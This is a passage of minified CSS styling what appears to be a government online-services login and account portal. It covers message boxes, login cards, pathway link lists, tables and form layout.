center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.info-msg info-msg-text{max-width:42em}.info-msg[data-dismiss]{padding:.6em 4em .6em .6em}.info-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.info-msg a{display:inline}.info-msg p{margin:0;padding:2.5px 0}.warning-msg{background-color:#fff;border:2px solid #f80;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.warning-msg:before{background-image:url("../icons/warning.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.warning-msg warning-msg-text{max-width:42em}.warning-msg[data-dismiss]{padding:.6em 4em .6em .6em}.warning-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.warning-msg a{display:inline}.warning-msg p{margin:0;padding:2.5px 0}span.success{color:#026540;display:block}.unsuccessful{color:#b7202d;font-weight:bold}fieldset.pin-fields.hasError{border:0}fieldset.pin-fields3.hasError{border:0}.hasError{border-left:solid 4px #b7202d;margin-left:3px;padding-left:15px}.hasError span.hasError{color:#b7202d;border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasError p.hasError{color:#b7202d;border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasError input{border:2px solid #b7202d}.hasError.pathway-link-item{border-left:solid 4px #b7202d}.hasInfo{border-left:solid 4px #0f6493;margin-left:3px;padding-left:15px;margin-bottom:1em;position:relative;max-width:42em}.hasInfo span.hasInfo{border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasInfo p{margin-top:.5em}.hasInfo--DI{border-left:solid 4px #0f6493;margin-left:3px;padding-left:15px;background-color:#ebf5fb;padding:1em 2em 2em 2em;margin:1em 0;position:relative;max-width:42em}.hasInfo--DI p{margin-top:.5em}.hasInfo--DI p a{display:unset}.hasLinkInfo{border-left:solid 4px #0f6493;margin-left:3px;padding-left:15px;display:block;margin-bottom:1em;position:relative;max-width:80em}.hasLinkInfo[role='region']{display:none}.hasLinkInfo span.hasLinkInfo{border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasLinkInfo p{margin-top:.5em}.outage{background-color:#f9eedc;-webkit-box-flex:0;-webkit-flex:0 0 auto;-ms-flex:0 0 auto;flex:0 0 auto;padding:8px 1em;position:relative}@media screen and (min-width:576px){.outage{padding:8px 2em}}.outage strong{color:#b7202d}.outage .expand{top:-6px;width:44px;height:44px;padding:0}.outage .expand--expanded{-webkit-transform:rotate(180deg);transform:rotate(180deg)}.outage .expand:focus{outline-offset:-3px}.outage p{display:inline;margin:0}.outage p:before{content:'';display:block}.outage p+p:before{margin-top:1em}.outage__inner{max-width:900px;margin:0 auto;padding:0 40px 0 40px;position:relative}.outage__inner:before{background-image:url("../icons/warning-filled.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:0;position:absolute;top:0;width:30px}.outage__content{max-height:1.7em;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;margin-right:1em}.outage__content--expanded{max-height:none;overflow:visible;text-overflow:clip;white-space:normal}.pathway-link-list{padding-left:0;line-height:1.6em;margin-bottom:2.5rem;border-top:2px solid #333;border-bottom:1px solid #333;width:100%;margin-top:0}.pathway-link-list li{list-style:none;border-bottom:1px solid #999;margin-bottom:0}.pathway-link-list li:last-of-type{border-bottom:0}.pathway-link-item{padding:.8em 50px .8em .8em;background:0;border:0;display:block;color:#333;text-decoration:none;text-align:left;margin:0;outline:0;width:100%;position:relative;height:auto;font-size:1rem;word-wrap:break-word;overflow-wrap:break-word;-ms-word-break:break-word}.pathway-link-item .hasIssues{position:relative;width:60px;height:70px;float:right;background-image:url("../icons/error-filled.svg");background-repeat:no-repeat;background-position:top center;text-align:center}.pathway-link-item .hasIssues span{color:#b7202d;position:absolute;width:100%;top:40px;right:0;font-weight:bold;font-size:87.5%;display:inline-block}.pathway-link-item.isActive{border-left:6px solid #026540}.pathway-link-item.isActive .pathway-link-indicator{color:#026540;font-weight:700;display:inline-block}.pathway-link-item.isInactive .pathway-link-indicator{color:#b7202d;font-weight:700;display:inline-block}.pathway-link-item::after{background-image:url("../icons/chevron-right.svg");content:'';width:30px;background-repeat:no-repeat;background-size:auto 100%;position:absolute;height:30px;top:50%;right:0;-webkit-transform:translateY(-50%);transform:translateY(-50%)}.pathway-link-item:hover,.pathway-link-item:focus{background-color:#eee;color:#333}span.pathway-link-item:hover,span.pathway-link-item:focus{background-color:initial}.pathway-link-item:active{background-color:#ccc;color:#333}.pathway-link-item span{display:block}.pathway-link-item--service{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;padding-right:.8em}.pathway-link-item--service::after{content:initial;background-image:none}.pathway-link-item--service .pathway-link-service{-webkit-align-self:center;-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center;-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1}.pathway-link-item--service .pathway-link-service .extra-info{margin-top:.4em}.pathway-link-item--service .pathway-link-service .active{color:#026540;font-weight:700;display:inline}.pathway-link-item--service .pathway-link-service .inactive{color:#b7202d;font-weight:700;display:inline}.pathway-link-item--service .pathway-link-action{-webkit-align-self:center;-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center;margin-left:20px}.pathway-link-item--service .pathway-link-action>[class*=' button'],.pathway-link-item--service .pathway-link-action>[class^='button']{height:auto;line-height:1.6;padding:10px;width:auto}.pathway-link-item-disable{padding:.8em 50px .8em .8em;background:0;border:0;display:block;color:#333;text-decoration:none;text-align:left;margin:0;outline:0;width:100%;position:relative;height:auto;font-size:1rem;word-wrap:break-word;overflow-wrap:break-word;-ms-word-break:break-word}.pathway-link-item-disable span{display:block}.pathway-link-item-locked{padding:.8em 50px .8em .8em;background:0;border:0;display:block;color:#333;text-decoration:none;text-align:left;margin:0;outline:0;width:100%;position:relative;height:auto;font-size:1rem;word-wrap:break-word;overflow-wrap:break-word;-ms-word-break:break-word}.pathway-link-item-locked img{max-width:1em}.pathway-link-title{margin-top:0;font-size:1.125rem;font-weight:700;line-height:1.4}.pathway-link-title--disable{color:#767676}.pathway-link-title--locked{margin-left:1em}.pathway-link-description--disable{color:#767676}.final-pathway{padding:0;list-style-type:none;display:inline-block;width:100%;margin-top:0}.final-pathway li{border-bottom:1px solid #ccc;margin:0}.final-pathway li:nth-child(1){border-top:2px solid #333}.final-pathway li:nth-last-child(1){border-bottom:2px solid #333}.final-pathway li:nth-child(odd){background-color:#eee}.final-pathway li .pathway-link-item::after{background-image:none}.or-break{margin-top:10px;margin-bottom:10px}.service-pathway-link .pathway-link-item{padding-top:1.5em;padding-bottom:1.5em}.uikit-skip-link{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;color:#333;line-height:1.6}.uikit-skip-link__link{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0;color:black;background-color:white}.uikit-skip-link__link:active,.uikit-skip-link__link:focus{clip:auto;height:auto;margin:0;overflow:visible;position:absolute;width:auto;font-size:21px;top:.8em;left:.8em;padding:.4em .8em;color:#333;background-color:#fff;text-decoration:none;z-index:1}table{margin-bottom:1.6em}.content-table{width:100%;border-collapse:collapse}.content-table thead tr:first-of-type{background-color:#fff}.content-table tr:nth-child(odd){background-color:#eee}.content-table td,.content-table th{border-bottom:solid 1px #ccc;padding:.4em;text-align:left}@media screen and (min-width:768px){.content-table td,.content-table th{padding:.8em;font-size:initial}}.content-table thead{border-bottom:solid 2px #333}.alert-list{width:100%;padding-left:0;margin-top:0;border:1px solid #999;border-radius:.5em}.alert-list li{list-style:none;border-bottom:1px solid #999;margin-bottom:0}.alert-list li:last-of-type{border-bottom:0}.alert-item{padding:1em;display:block}@media screen and (min-width:768px){.alert-item{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex}}.alert-icon{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;background-color:#bfe7f6;border:0;border-radius:.25em;height:2.5em;width:2.5em;padding:.5em;text-align:center;float:left;margin:0 1em 0 0}@media screen and (min-width:768px){.alert-icon{margin:auto}}.alert-icon img{max-width:1.5em}.alert-info{width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}@media screen and (min-width:768px){.alert-info{margin:0 2em auto 1em}}.alert-link{vertical-align:middle;display:block;vertical-align:middle;text-align:left;width:-webkit-max-content;width:-moz-max-content;width:max-content}@media screen and (min-width:768px){.alert-link{margin:auto 1em auto 0;display:block;text-align:right}}.alert-link .alert-link-arrow{display:block;position:relative;text-decoration:none;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color;width:-webkit-max-content;width:-moz-max-content;width:max-content;margin-top:1.5em}@media screen and (min-width:768px){.alert-link .alert-link-arrow{margin-top:0}}.alert-link .alert-link-arrow:after{content:'';position:absolute;top:0;right:-1em;display:block;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;background-image:url("../icons/link-arrow.svg")}.alert-link .data-alert-dismiss-button{margin-top:1.5em}.account-history-table th:first-of-type,.account-history-table td:first-of-type{border-right:1px solid #999}.account-history-table th{display:table-cell;border-style:none;width:initial}.account-history-table th:focus{outline:-webkit-focus-ring-color auto 5px}.account-history-table th>img{vertical-align:middle}.account-history-table td{vertical-align:top}.account-history-date,.account-history-time,.account-history-comment{display:block}.hr-word{width:100%;height:13px;border-bottom:1px solid #ccc;text-align:center;margin-top:.5em}.hr-word span{background-color:#eee;padding:0 10px}.hr-word-mapwap{width:100%;height:13px;border-bottom:1px solid #ccc;text-align:center;margin-top:1.5em}.hr-word-mapwap span{background-color:#fff;padding:0 10px}.unauth .anchor{background-color:#eee}.unauth .anchor:hover{background-color:#0f6493}.unauth .wap-anchor{background-color:transparent}.unauth .wap-anchor:hover{background-color:#0f6493}.unauth .showPassword{background-color:transparent}.unauth .showPassword:hover{background-color:#0f6493}.unauth .section-heading,.unauth #poro-form h2,#poro-form .unauth h2,.unauth #poro-form .display,#poro-form .unauth .display,.unauth .poro-form h2,.poro-form .unauth h2,.unauth .poro-form .display,.poro-form .unauth .display{padding-top:0}.unauth .wrapper{padding:0}.unauth .main-block{width:100%;margin:auto}.unauth .product-description .inner,.unauth .product-description .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto;padding:0 2em}@media screen and (min-width:992px){.unauth .product-description .inner,.unauth .product-description .digital-id-inner{padding:0;margin-left:30px}}.unauth .product-description .inner h1:first-of-type,.unauth .product-description .digital-id-inner h1:first-of-type,.unauth .product-description .inner p:first-of-type,.unauth .product-description .digital-id-inner p:first-of-type{text-align:center}@media screen and (min-width:992px){.unauth .product-description .inner h1:first-of-type,.unauth .product-description .digital-id-inner h1:first-of-type,.unauth .product-description .inner p:first-of-type,.unauth .product-description .digital-id-inner p:first-of-type{text-align:left}}.unauth .product-description .inner h1,.unauth .product-description .digital-id-inner h1{margin-top:36px}@media screen and (min-width:992px){.unauth .product-description .inner h1,.unauth .product-description .digital-id-inner h1{margin-top:0}}.unauth .product-description .digital-id-inner p:first-of-type{text-align:left}.unauth .product-description .digital-id-inner h2:first-of-type,.unauth .product-description .digital-id-inner .display:first-of-type{margin-top:0;padding-top:0}.unauth .product-description .digital-id-inner h2,.unauth .product-description .digital-id-inner .display{font-weight:600}.unauth .product-description .digital-id-inner hr{border-top:3px #999 dashed;margin:2em 0}.unauth .product-description ul{-webkit-columns:1;-moz-columns:1;columns:1;margin:0 auto;list-style-position:outside}@media screen and (min-width:768px){.unauth .product-description ul{-webkit-columns:2;-moz-columns:2;columns:2}}@media screen and (min-width:992px){.unauth .product-description ul{-webkit-columns:1;-moz-columns:1;columns:1}}.unauth .login-card-wrapper{background-color:#eee}@media screen and (min-width:992px){.unauth .login-card-wrapper{background-color:inherit}}.unauth .digital-id-main-login-card{margin:-1em auto -1em auto;padding:3px 1em 20px 1em}@media screen and (min-width:576px){.unauth .digital-id-main-login-card{padding:16px 1em 0 1em}}.unauth .digital-id-login-card-wrapper{background-color:#eee}.unauth .digital-id-login-card{background-color:#eee;padding:10px;max-width:465px;margin:0 auto 2em auto;padding:0 1em 1em 1em;text-align:center}@media screen and (min-width:576px){.unauth .digital-id-login-card{padding:16px 1em 20px 1em}}.unauth .digital-id-login-card .button-main{width:100%}.unauth .digital-id-login-card .identity-hub-info-text{background-color:#fff}.unauth .digital-id-login-card .identity-hub-info-text p{text-align:left;padding:10px}.unauth .digital-id-login-card:nth-child(2){padding:1em}.unauth .login-card,.unauth .digital-id-main-login-card{background-color:#eee;padding:10px;max-width:465px;margin:0 auto;padding:16px 1em 20px 1em}.unauth .login-card label .help-text,.unauth .digital-id-main-login-card label .help-text{display:block}.unauth .login-card a.login-link,.unauth .digital-id-main-login-card a.login-link{margin-bottom:1.5em}.unauth .login-card .in-message-link,.unauth .digital-id-main-login-card .in-message-link{display:inline}.unauth .login-card input,.unauth .digital-id-main-login-card input{margin-bottom:0}.unauth .login-card .button-main,.unauth .digital-id-main-login-card .button-main,.unauth .login-card .button-minor,.unauth .digital-id-main-login-card .button-minor{width:100%}.unauth .login-card .crest,.unauth .digital-id-main-login-card .crest{margin-bottom:20px;padding-bottom:20px}.unauth .login-card .crest img,.unauth .digital-id-main-login-card .crest img{width:180px;margin:0 auto;display:inherit;padding-top:6px}.unauth .wap-login-card{background-color:#fff;padding:10px;margin:0 auto;padding:16px 1em 20px 1em}.unauth .wap-login-card label .help-text{display:block}.unauth .wap-login-card a.login-link{margin-bottom:1.5em}.unauth .wap-login-card .in-message-link{display:inline}.unauth .wap-login-card input{margin-bottom:0}.unauth .wap-login-card .button-main,.unauth .wap-login-card .button-minor{width:100%}.unauth .wap-login-card .crest{margin-bottom:20px;padding-bottom:20px}.unauth .wap-login-card .crest img{width:180px;margin:0 auto;display:inherit;padding-top:6px}.unauth h1 .success-msg,.unauth h1 .error-msg,.unauth h1 .info-msg{font-size:1.5rem}.unauth h1 .success-msg-text,.unauth h1 .error-msg-text,.unauth h1 .info-msg-text{padding-left:10px}.unauth .centered{text-align:center;display:block}@media screen and (min-width:576px){.unauth .centered{text-align:left}}.unauth div.contained{max-width:42em;margin-top:20px}.unauth footer[role='contentinfo'] .wrapper{padding:0 1em}@media screen and (min-width:768px){.unauth footer[role='contentinfo'] .wrapper{padding:0 2em}}.section-group{padding-top:1em;padding-bottom:1em}.login-grid-container{width:100%}@media screen and (min-width:992px){.login-grid-container{margin-top:1em}}.login-grid-container .sign-in-banner{display:none}@media screen and (min-width:992px){.login-grid-container .sign-in-banner{display:block;margin-bottom:1em;font-weight:600}}.login-grid-row:before,.login-grid-row:after{display:table;line-height:0;content:""}.login-grid-row:after{clear:both}.login-grid-column{float:left;box-sizing:border-box;min-height:1px;position:relative;width:100%}@media screen and (min-width:992px){.login-grid-column{width:50%}}header[role='banner'].unauth .unauth-grid{width:100%;height:48px;margin-top:1em}header[role='banner'].unauth .unauth-grid .unauth-grid-row{margin-left:1em;margin-right:1em}@media screen and (min-width:576px){header[role='banner'].unauth .unauth-grid .unauth-grid-row{margin-left:2em;margin-right:2em}}@media screen and (min-width:992px){header[role='banner'].unauth .unauth-grid .unauth-grid-row{margin-left:0;margin-right:0}}header[role='banner'].unauth .unauth-grid .unauth-grid-row:before,header[role='banner'].unauth .unauth-grid .unauth-grid-row:after{display:table;line-height:0;content:""}header[role='banner'].unauth .unauth-grid a{border-bottom:0}header[role='banner'].unauth .unauth-grid .coat-arms{margin-top:4px}header[role='banner'].unauth .unauth-grid .header-logo.unauth{float:right;position:inherit;top:31px;margin-top:8px;width:90px}@media screen and (min-width:576px){header[role='banner'].unauth .unauth-grid .header-logo.unauth{float:left;margin-top:8px;width:112px}}@media screen and (min-width:768px){header[role='banner'].unauth .unauth-grid .header-logo.unauth{width:135px;margin-top:4px}}img#unauth-govt-crest{float:left;height:40px;margin-right:1em;color:#fff}@media screen and (min-width:576px){img#unauth-govt-crest{height:48px;margin-right:2em}}@media screen and (min-width:992px){img#unauth-govt-crest{margin-left:0;height:48px}}img#unauth-mygov-logo{float:right}@media screen and (min-width:576px){img#unauth-mygov-logo{float:left;color:#fff}}.header-logo-img{color:#fff}.header-logo-img:hover{text-decoration:underline!important}.unauth .login-card input,.unauth .digital-id-main-login-card input{margin-bottom:.5em}.divider{margin:1.5em 0;border-bottom:3px #999 dashed}.image-float-right{float:right}.mygovbeta-tip{overflow:auto}.tip-heading{margin-top:0!important;float:left;font-weight:500}.tip-text{float:left;width:60%}@media screen and (max-width:991px){.tip-heading{float:none;margin-top:0!important;text-align:center}.tip-text{float:none;width:100%;text-align:center!important}.image-float-right{display:block;margin:1.5em auto;float:none}.mygovbeta-tip{text-align:center}}.emergency-information{display:block;text-align:center;background-color:#fcb80e;color:#333;margin-bottom:0;padding:0;height:0}.emergency-information p,.emergency-information .emergency-text{display:inline}.emergency-information img{width:1em}.beta-information{height:auto;display:block;text-align:center;background-color:#66d3ee;color:#000}.beta-information p{padding-left:5px;padding-right:5px}.beta-information a{display:inline;color:#000;text-decoration:underline;border-bottom:0}.beta-information a:hover{background-color:#254a7e;color:#fff;text-decoration:underline}.mygovbeta-tip{overflow:auto}@media only screen and (max-width:992px){.mygovbeta-tip{text-align:center}}.tip-heading{float:left;font-weight:500}@media only screen and (max-width:992px){.tip-heading{float:none;margin-top:0!important}}.tip-text{float:left;width:60%}@media only screen and (max-width:992px){.tip-text{float:none;width:100%}}p.login-instruction-text{margin-left:10px}.sr-only{position:absolute;left:-10000px;top:auto;width:1px;height:1px;overflow:hidden}.wrapper-integration{padding:0}.wrapper-integration .welcome{max-width:400px;padding-left:1em;margin-left:auto;margin-right:auto}.wrapper-integration .welcome p{margin-top:0;margin-bottom:1.5em}@media screen and (min-width:576px){.wrapper-integration .welcome{max-width:600px}}@media screen and (min-width:992px){.wrapper-integration .welcome{padding-left:0}}.wrapper-integration .main-block{background-color:#eee;max-width:400px;margin-left:auto;margin-right:auto;padding:.5em 1em 1em 1em}@media screen and (min-width:576px){.wrapper-integration .main-block{max-width:600px;padding:.5em 2em 2em 2em}}.wrapper-integration-mapwap{padding:0}.wrapper-integration-mapwap h1:first-of-type{padding-top:1.5rem;margin-top:0}.wrapper-integration-mapwap .main-block{background-color:#eee;max-width:400px;margin-left:auto;margin-right:auto;padding:0 1em 3em 1em}@media screen and (min-width:576px){.wrapper-integration-mapwap .main-block{padding:0 2em 3em 2em;max-width:600px}}#integration-span{background-color:#eee}.account-info-group span{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.account-info-group #account-info-label{margin-top:1.2em;margin-bottom:.4em}.account-info-group #account-info-detail{font-size:1em;overflow-wrap:break-word;display:block}@media screen and (min-width:320px){.account-info-group #account-info-detail{font-size:1.25em}}.account-info-group #account-info-detail-changeable{background:#ccc;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;padding:.7em .5em}.account-info-group #account-info-detail-changeable div:first-of-type{overflow-wrap:break-word;width:48%}.unauth h1.login-vp{display:none}@media screen and (min-width:992px){.unauth h1.login-vp{display:block;font-size:2.25em;font-weight:400}}.unauth h2.login-vp,.unauth .login-vp.display{font-weight:500}.unauth .product-description-vp .inner,.unauth .product-description-vp .product-description .digital-id-inner,.unauth .product-description .product-description-vp .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto;padding:0 2em}@media screen and (min-width:992px){.unauth .product-description-vp .inner,.unauth .product-description-vp .product-description .digital-id-inner,.unauth .product-description .product-description-vp .digital-id-inner{padding:0;margin-left:30px}}.unauth .product-description-vp .inner .tips,.unauth .product-description-vp .product-description .digital-id-inner .tips,.unauth .product-description .product-description-vp .digital-id-inner .tips{text-align:center}.unauth .product-description-vp .inner .tips img,.unauth .product-description-vp .product-description .digital-id-inner .tips img,.unauth .product-description .product-description-vp .digital-id-inner .tips img{width:100%;height:auto;max-height:215px}@media screen and (min-width:576px){.unauth .product-description-vp .inner .tips img,.unauth .product-description-vp .product-description .digital-id-inner .tips img,.unauth .product-description .product-description-vp .digital-id-inner .tips img{width:30%}}.unauth .product-description-vp .inner .tips h2,.unauth .product-description-vp .product-description .digital-id-inner .tips h2,.unauth .product-description .product-description-vp .digital-id-inner .tips h2,.unauth .product-description-vp .inner .tips .display,.unauth .product-description-vp .product-description .digital-id-inner .tips .display,.unauth .product-description .product-description-vp .digital-id-inner .tips .display{position:relative}.unauth .product-description-vp .inner .tips span,.unauth .product-description-vp .product-description .digital-id-inner .tips span,.unauth .product-description .product-description-vp .digital-id-inner .tips span{display:inline-block;margin-top:1em}@media screen and (min-width:992px){.unauth .product-description-vp .inner .tips,.unauth .product-description-vp .product-description .digital-id-inner .tips,.unauth .product-description .product-description-vp .digital-id-inner .tips{text-align:left}.unauth .product-description-vp .inner .tips h2,.unauth .product-description-vp .product-description .digital-id-inner .tips h2,.unauth .product-description .product-description-vp .digital-id-inner .tips h2,.unauth .product-description-vp .inner .tips .display,.unauth .product-description-vp .product-description .digital-id-inner .tips .display,.unauth .product-description .product-description-vp .digital-id-inner .tips .display{float:right}.unauth .product-description-vp .inner .tips img,.unauth .product-description-vp .product-description .digital-id-inner .tips img,.unauth .product-description .product-description-vp .digital-id-inner .tips img{float:left}}.unauth .product-description-vp .inner h2:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner h2:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner h2:first-of-type,.unauth .product-description-vp .inner .display:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner .display:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner .display:first-of-type,.unauth .product-description-vp .inner p:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner p:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner p:first-of-type{text-align:center}@media screen and (min-width:992px){.unauth .product-description-vp .inner h2:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner h2:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner h2:first-of-type,.unauth .product-description-vp .inner .display:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner .display:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner .display:first-of-type,.unauth .product-description-vp .inner p:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner p:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner p:first-of-type{margin-top:0;text-align:left}}.unauth .product-description-vp .divider{margin:1.5em 0;border-bottom:3px #999 dashed}.unauth .product-description-vp ul{-webkit-columns:1;-moz-columns:1;columns:1;margin:0 auto;list-style-position:inside;padding-left:0}@media screen and (min-width:992px){.unauth .product-description-vp ul{overflow:auto}.unauth .product-description-vp ul li{float:left;padding-right:1em}}@-webkit-keyframes loading{0%{background-color:#ccc}40%{background-color:#026540}60%{background-color:#ccc}}@keyframes loading{0%{background-color:#ccc}40%{background-color:#026540}60%{background-color:#ccc}}.animated-dots span{-webkit-animation-name:loading;animation-name:loading;-webkit-animation-direction:normal;animation-direction:normal;-webkit-animation-duration:1.5s;animation-duration:1.5s;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;-webkit-animation-timing-function:linear;animation-timing-function:linear;border-radius:50%;background-color:#ccc;display:inline-block;margin:0 .3em;height:16px;width:16px}.animated-dots span:nth-child(1){-webkit-animation-delay:.9s;animation-delay:.9s}.animated-dots span:nth-child(2){-webkit-animation-delay:1.05s;animation-delay:1.05s}.animated-dots span:nth-child(3){-webkit-animation-delay:1.2s;animation-delay:1.2s}.animated-dots span:nth-child(4){-webkit-animation-delay:1.35s;animation-delay:1.35s}.animated-dots span:nth-child(5){-webkit-animation-delay:1.5s;animation-delay:1.5s}.offset-top{margin-top:30%;text-align:center}#poro-form label,.poro-form label{display:inline-block}#poro-form #profile-details .profile-label span:first-of-type,.poro-form #profile-details .profile-label span:first-of-type{font-weight:bold}#poro-form .side-a,#poro-form .select-group,.poro-form .side-a,.poro-form .select-group{display:block;width:100%}@media screen and (min-width:768px){#poro-form .side-a,#poro-form .select-group,.poro-form .side-a,.poro-form .select-group{float:left;width:48%;clear:left}}#poro-form .side-b,#poro-form .select-group+.select-group,.poro-form .side-b,.poro-form .select-group+.select-group{display:block;width:100%}@media screen and (min-width:768px){#poro-form .side-b,#poro-form .select-group+.select-group,.poro-form .side-b,.poro-form .select-group+.select-group{float:right;width:48%}}#poro-form .selectRadio,.poro-form .selectRadio{clear:left}#poro-form .sidebyside,.poro-form .sidebyside{display:table;width:100%}#poro-form .sidebyside>div,.poro-form .sidebyside>div{display:table-column;width:100%;display:block;clear:none}@media screen and (min-width:768px){#poro-form .sidebyside>div,.poro-form .sidebyside>div{width:48%;float:left;display:inline-block}}@media screen and (min-width:768px){#poro-form .sidebyside>div:nth-of-type(even),.poro-form .sidebyside>div:nth-of-type(even){float:right;display:inline-block}}#poro-form .poro-input,.poro-form .poro-input{width:100%}@media screen and (min-width:768px){#poro-form .poro-input,.poro-form .poro-input{width:48%}}#poro-form .poro-date-fields,.poro-form .poro-date-fields{display:block;clear:both}#poro-form .poro-input-group,.poro-form .poro-input-group{width:100%}@media screen and (min-width:768px){#poro-form .poro-input-group,.poro-form .poro-input-group{width:48%}}#poro-form .poro-field-group,#poro-form .poro-input-group,.poro-form .poro-field-group,.poro-form .poro-input-group{margin-top:15px;display:block;clear:both}#poro-form .poro-field-group label,#poro-form .poro-input-group label,.poro-form .poro-field-group label,.poro-form .poro-input-group label{margin-top:0;display:inline;position:relative;padding-top:0;width:100%}@media screen and (min-width:768px){#poro-form .poro-field-group.select-group,#poro-form .poro-input-group.select-group,.poro-form .poro-field-group.select-group,.poro-form .poro-input-group.select-group{clear:none}}#poro-form .buttonControl-group,.poro-form .buttonControl-group{margin-left:5px;position:relative;display:inline-block}#poro-form .buttonControl::after,.poro-form .buttonControl::after{content:'';background-image:url("../icons/panel-icon.svg");top:10px;-webkit-transform:rotate(180deg);transform:rotate(180deg);background-repeat:no-repeat;border-color:black;color:#0f6493;position:absolute;right:-20px;height:8px;width:12px}#poro-form .buttonControl span,.poro-form .buttonControl span{font-size:1rem}#poro-form .buttonControl[aria-expanded="true"]::after,.poro-form .buttonControl[aria-expanded="true"]::after{background-image:url("../icons/panel-icon.svg");top:10px;-webkit-transform:rotate(0deg);transform:rotate(0deg)}#poro-form .topic,.poro-form .topic{display:none;margin-bottom:1em;padding:10px;background-color:#bfe7f6;max-width:42em;font-size:87.5%;position:relative;margin-top:10px}#poro-form .topic:before,.poro-form .topic:before{bottom:100%;left:50px;border:solid transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none}#poro-form .topic:before,.poro-form .topic:before{border-bottom-color:#bfe7f6;border-width:10px;margin-left:-36px}#poro-form .topic p,.poro-form .topic p{margin:0}#poro-form .input-hint,#poro-form .help-box,.poro-form .input-hint,.poro-form .help-box{font-size:87.5%}#poro-form .input-hint p,#poro-form .help-box p,.poro-form .input-hint p,.poro-form .help-box p{margin:0;padding:0}#poro-form .poro-subgroup .sub-group-delimiter,.poro-form .poro-subgroup .sub-group-delimiter{float:left;width:1em;top:15px;height:100%;position:relative;display:inline-block}#poro-form .poro-subgroup input,.poro-form .poro-subgroup input{width:4em;float:left}#poro-form .poro-subgroup input.medium-input,.poro-form .poro-subgroup input.medium-input{width:5em}#poro-form .poro-subgroup input.large-input,.poro-form .poro-subgroup input.large-input{width:10em}#poro-form .poro-subgroup input.xl-input,.poro-form .poro-subgroup input.xl-input{width:100%}#poro-form .poro-subgroup input:first-of-type,.poro-form .poro-subgroup input:first-of-type{margin-right:5px}#poro-form input.irn-code,.poro-form input.irn-code{width:4em}#poro-form .modal-overlay,.poro-form .modal-overlay{background:rgba(0,0,0,0.8);height:100%;left:0;display:block;overflow:auto;padding:0 1.5em 1.5em;position:fixed;top:0;-webkit-transition:opacity .2s;transition:opacity .2s;width:100%;z-index:-1}#poro-form .modal-overlay h2,#poro-form .modal-overlay .display,.poro-form .modal-overlay h2,.poro-form .modal-overlay .display{border-bottom:0}#poro-form .modal-overlay[aria-hidden="true"],.poro-form .modal-overlay[aria-hidden="true"]{opacity:0;visibility:hidden}#poro-form .modal-overlay[aria-hidden="false"],.poro-form .modal-overlay[aria-hidden="false"]{opacity:1;visibility:visible;z-index:2}#poro-form .modal-content,.poro-form .modal-content{background:#fff;margin:auto;max-height:90%;max-width:400px;overflow:auto;overflow-x:hidden;padding:1em;position:relative;top:10%;-webkit-transform:scale(0.8);transform:scale(0.8);-webkit-transition:-webkit-transform .3s;transition:-webkit-transform .3s;transition:transform .3s;transition:transform .3s,-webkit-transform .3s;width:100%}#poro-form .modal-overlay[aria-hidden="false"] .modal-content,.poro-form .modal-overlay[aria-hidden="false"] .modal-content{-webkit-transform:scale(1);transform:scale(1)}#poro-form #modal-title,.poro-form #modal-title{margin-top:0;padding-right:1.25em}#poro-form .btn-close,.poro-form .btn-close{background:0;border:0;cursor:pointer;font-family:arial;font-size:2em;font-weight:800;line-height:1;padding:0;position:absolute;right:.25em;top:.25em;z-index:2}#poro-form .help-container,.poro-form .help-container{background-color:#eee;padding:2em;font-size:.8rem}#poro-form .help-container p,.poro-form .help-container p{margin:0}#poro-form .help-container a,.poro-form .help-container 